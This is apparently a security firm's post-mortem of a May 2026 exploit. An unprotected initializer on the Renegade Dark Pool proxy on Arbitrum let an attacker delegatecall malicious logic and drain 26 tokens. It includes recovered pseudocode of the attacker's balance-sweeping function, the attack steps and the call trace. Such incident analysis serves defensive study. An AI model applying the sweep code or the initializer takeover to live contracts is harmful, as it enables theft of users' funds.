Renegade Dark Pool Proxy Unprotected Initializer Delegatecall Drain
On May 10, 2026 at 08:27:23 UTC, Renegade Dark Pool Proxy 1 on Arbitrum (0x30bd8eab29181f790d7e49578 2026-5-10 00:1:4 Author: www.darknavy.org(查看原文) 阅读量:0 收藏

On May 10, 2026 at 08:27:23 UTC, Renegade Dark Pool Proxy 1 on Arbitrum (0x30bd8eab29181f790d7e495786d4b96d7afdc518) was drained through an access-control failure in its initialization path. The attacker EOA 0x777253f28adc29645152b7b41be5c772a9657777 created an orchestrator contract, deployed malicious delegatecall logic, then called the proxy’s initialize(...) function with attacker-controlled addresses. The trace proves the proxy accepted that call, delegatecalled the Renegade implementation, then delegatecalled attacker logic that transferred 26 ERC-20 balances from the proxy to the attacker. funds_flow.json records the direct gain as 26 assets, including 104,383.594837 USDC, 10.276455529684622407 WETH, and 0.34658469 WBTC; the public incident brief reports the basket at approximately $209K.

Root Cause

Vulnerable Contract

The vulnerable contract is Renegade Dark Pool Proxy 1 at 0x30bd8eab29181f790d7e495786d4b96d7afdc518. It is a proxy whose implementation was resolved in the analysis plan and manifest as 0xc038933d0b33359f5c87b4b2f92ee0dad11eadc5.

The implementation source is unverified and was recovered as trace-guided pseudocode in analysis_0x0e494685ace16d372066c5b4db959b58ebac6d88166c2d9d618e0e421dc0c77e/0xc038933d0b33359f5c87b4b2f92ee0dad11eadc5/recovered.sol. Its decompile_meta.json confidence is low, so the root cause is derived from the trace first: an arbitrary caller reached initialize(...), supplied attacker-controlled addresses, and caused a nested DELEGATECALL into attacker code from the proxy context.

Vulnerable Function

The vulnerable function is initialize(address,address,address,address,address,address,address,address,address,address,uint256,uint256[2],address) on the implementation, selector 0x92413afe. The selector was verified with cast sig and matches selectors.json.

The later updateWallet(bytes,bytes,bytes,bytes) call, selector 0x803f430a, reused the same attacker-controlled delegatecall path after the initializer had installed or accepted attacker-controlled configuration.

Vulnerable Code

// [recovered -- approximation]
contract Recovered_RenegadeDarkPoolImplementation_adc5 {
    // Large unverified implementation recovered trace-guided only.
    // The transaction exercised initialize(...) and updateWallet(...), both via proxy DELEGATECALL.

    function initialize(
        address, address, address, address, address, address, address, address, address, address,
        uint256, uint256[2] calldata, address
    ) external { // <-- VULNERABILITY: trace shows this initializer was callable by the attacker through the proxy.
        // selector 0x92413afe; signature from cast 4byte
        // Trace shows this path performs a nested DELEGATECALL from the proxy context
        // into attacker-created logic 0x67da0e9245e2a9da74ac120d8c3caac21b9884da with selector 0xe1c7392a. // <-- VULNERABILITY
        // Storage writes are present in disassembly; exact slot semantics unresolved.
    }

    function updateWallet(bytes calldata, bytes calldata, bytes calldata, bytes calldata) external {
        // selector 0x803f430a; signature from cast 4byte
        // Trace shows this path performs a nested DELEGATECALL from the proxy context
        // into attacker-created logic 0x67da0e9245e2a9da74ac120d8c3caac21b9884da with selector 0x803f430a. // <-- VULNERABILITY: post-initialization path still executes attacker logic.
    }
}

The malicious delegate target is recovered with medium confidence in analysis_0x0e494685ace16d372066c5b4db959b58ebac6d88166c2d9d618e0e421dc0c77e/0x67da0e9245e2a9da74ac120d8c3caac21b9884da/recovered.sol and matches the trace: it reads a helper-controlled beneficiary and asset list, then transfers every non-zero address(this) balance. Under DELEGATECALL, address(this) is the victim proxy.

// [recovered -- approximation]
function _sweepAssetsFromDelegateContext() internal {
    address receiver = IHelper_92df(HELPER).beneficiary();
    address[] memory assets = IHelper_92df(HELPER).getAssets();
    for (uint256 i = 0; i < assets.length; i++) {
        uint256 bal = IERC20Like(assets[i]).balanceOf(address(this));
        if (bal != 0) {
            IERC20Like(assets[i]).transfer(receiver, bal);
        }
    }
}

Why It’s Vulnerable

Expected behavior: an initializer on an already-deployed production proxy should be callable only once and only by an authorized deployer/admin. It should not accept attacker-controlled module or hook addresses and then execute those addresses with DELEGATECALL in proxy storage/context.

Actual behavior: the attacker-controlled orchestrator 0x33fb722c76d4e9fc0c86bbf10ebdea45a4434a34 called the proxy with selector 0x92413afe. The calldata’s first ten address parameters were all 0x67da0e9245e2a9da74ac120d8c3caac21b9884da, and the trace shows the proxy delegatecalled the implementation and then delegatecalled that attacker-created address. No owner check, initialization guard, or caller restriction stopped the call.

This matters because a delegatecall target executes as the proxy. The malicious logic used beneficiary() and getAssets() from helper 0x92df7b51734d4d8f5de7676ab193ff2138cb4b5c, then called transfer(attacker, balance) on each token from the proxy context. The token Transfer events therefore show the victim proxy as from and the attacker EOA as to.

Normal flow should initialize trusted Renegade components once during deployment and reject later public initialization attempts. The attack flow let an arbitrary external account re-enter the initialization surface, point Renegade’s delegated execution at attacker code, and then sweep the proxy’s token inventory.

Attack Execution

High-Level Flow

  1. The attacker sent a contract-creation transaction from their EOA.
  2. The created orchestrator checked the victim proxy’s balances across a prepared list of ERC-20 assets.
  3. The orchestrator deployed a helper contract containing the attacker beneficiary and token list.
  4. The orchestrator deployed malicious delegatecall logic that sweeps all listed token balances from address(this).
  5. The orchestrator called the Renegade proxy initializer with attacker-controlled addresses.
  6. The proxy delegatecalled the Renegade implementation, which then delegatecalled the attacker’s malicious logic.
  7. The malicious logic ran in the proxy context and transferred every listed non-zero token balance from the proxy to the attacker EOA.
  8. The orchestrator called updateWallet(...), which again reached the attacker logic; by then the balances had already been drained.

Detailed Call Trace

The following flow is derived from trace_callTracer.json; selector names come from selectors.json and were verified with cast sig.

  • 0x777253f28adc29645152b7b41be5c772a9657777 -> creates 0x33fb722c76d4e9fc0c86bbf10ebdea45a4434a34 (CREATE, root call, value 0).
  • 0x33fb722c76d4e9fc0c86bbf10ebdea45a4434a34 -> token contracts: repeated balanceOf(address) (0x70a08231) static calls for victim 0x30bd8eab29181f790d7e495786d4b96d7afdc518.
  • 0x33fb722c76d4e9fc0c86bbf10ebdea45a4434a34 -> creates 0x92df7b51734d4d8f5de7676ab193ff2138cb4b5c (CREATE, trace_callTracer.json path .calls[26]).
  • 0x33fb722c76d4e9fc0c86bbf10ebdea45a4434a34 -> creates 0x67da0e9245e2a9da74ac120d8c3caac21b9884da (CREATE, path .calls[27]).
  • 0x33fb722c76d4e9fc0c86bbf10ebdea45a4434a34 -> 0x30bd8eab29181f790d7e495786d4b96d7afdc518: initialize(address,address,address,address,address,address,address,address,address,address,uint256,uint256[2],address) (0x92413afe, CALL, path .calls[28]).
    • 0x30bd8eab29181f790d7e495786d4b96d7afdc518 -> 0xc038933d0b33359f5c87b4b2f92ee0dad11eadc5: same initialize(...) selector (DELEGATECALL, path .calls[28].calls[0]).
    • 0x30bd8eab29181f790d7e495786d4b96d7afdc518 -> 0x67da0e9245e2a9da74ac120d8c3caac21b9884da: init() (0xe1c7392a, DELEGATECALL, path .calls[28].calls[0].calls[0]).
      • 0x30bd8eab29181f790d7e495786d4b96d7afdc518 -> 0x92df7b51734d4d8f5de7676ab193ff2138cb4b5c: beneficiary() (0x38af3eed, STATICCALL) returns the attacker beneficiary.
      • 0x30bd8eab29181f790d7e495786d4b96d7afdc518 -> 0x92df7b51734d4d8f5de7676ab193ff2138cb4b5c: getAssets() (0x67e4ac2c, STATICCALL) returns the 26-token asset list.
      • 0x30bd8eab29181f790d7e495786d4b96d7afdc518 -> token contracts: repeated balanceOf(address) and transfer(address,uint256) (0xa9059cbb) calls send balances to 0x777253f28adc29645152b7b41be5c772a9657777.
    • 0x30bd8eab29181f790d7e495786d4b96d7afdc518 -> 0x67da0e9245e2a9da74ac120d8c3caac21b9884da: init(address) (0x19ab453c, DELEGATECALL, path .calls[28].calls[0].calls[1]), again queries beneficiary() and getAssets().
  • 0x33fb722c76d4e9fc0c86bbf10ebdea45a4434a34 -> 0x30bd8eab29181f790d7e495786d4b96d7afdc518: updateWallet(bytes,bytes,bytes,bytes) (0x803f430a, CALL, path .calls[29]).
    • The proxy delegatecalls implementation 0xc038933d0b33359f5c87b4b2f92ee0dad11eadc5, then attacker logic 0x67da0e9245e2a9da74ac120d8c3caac21b9884da with the same selector (path .calls[29].calls[0].calls[0]).
    • The attacker logic again queries the helper for beneficiary and assets; no further non-zero transfers occur because the first sweep drained the listed balances.

Financial Impact

funds_flow.json is the primary evidence for impact. It records 26 ERC-20 transfers from victim proxy 0x30bd8eab29181f790d7e495786d4b96d7afdc518 to attacker 0x777253f28adc29645152b7b41be5c772a9657777; the victim has the exact negative net changes and the attacker has matching positive net changes.

The drained assets were:

TokenAmount
SYNTH1,349.030733
PENDLE9,416.895325523230308297
CRV7,415.260610772991599751
DeFAI3,231.358400000000262144
LDO10,869.732916014088671746
LPT791.159853095869991427
WBTC0.34658469
FTW15,000
RDNT8,826.971015995232899515
COMP89.156815942637822957
EVA0.50314019
XAI156,877.640373083310394068
HOL3.6
ZRO1,372.645794746838088638
ETHFI6,445.161607004354946696
WETH10.276455529684622407
ARB15,471.646463948749671683
GRT69,679.691872219913851209
USDC104,383.594837
BKC0.01
AAVE30.99292894656266577
SNL3,750
LINK385.587121743292431151
UNI528.460406629467438505
GMX250.449691926370589435
USD01,892.705374

The public incident brief reports the basket value as approximately $209K. No flash loan appears in this trace; the attacker paid only transaction gas. The receipt shows gasUsed = 2,688,710 and effectiveGasPrice = 20,052,000 wei, or about 0.00005391401292 ETH gas cost.

The loss source was the Renegade Dark Pool proxy’s held assets, so the impact falls on users/protocol balances custodied by that proxy. The proxy’s listed token inventory was effectively swept for every asset with a non-zero balance in the helper-provided list.

Evidence

  • Receipt status is 0x1, confirming the transaction succeeded; the transaction created orchestrator 0x33fb722c76d4e9fc0c86bbf10ebdea45a4434a34.
  • trace_callTracer.json path .calls[28] shows attacker orchestrator -> victim proxy CALL with selector 0x92413afe.
  • trace_callTracer.json path .calls[28].calls[0].calls[0] shows victim proxy -> attacker logic DELEGATECALL with selector 0xe1c7392a.
  • trace_callTracer.json paths .calls[28].calls[0].calls[0].calls[0] and .calls[28].calls[0].calls[0].calls[1] show attacker logic, still from proxy context, querying helper selectors 0x38af3eed and 0x67e4ac2c.
  • The initializer calldata contains attacker logic 0x67da0e9245e2a9da74ac120d8c3caac21b9884da in the first ten address arguments.
  • funds_flow.json contains 26 Transfer events with from = 0x30bd8eab29181f790d7e495786d4b96d7afdc518 and to = 0x777253f28adc29645152b7b41be5c772a9657777.
  • trace_prestateTracer.json does not include the victim proxy account, so it is not useful for proving proxy storage changes in this dataset; the delegatecall sequence and transfer logs are the primary evidence.

文章来源: https://www.darknavy.org/web3/exploits/renegade-dark-pool-unprotected-initializer/
如有侵权请联系:admin#unsafe.sh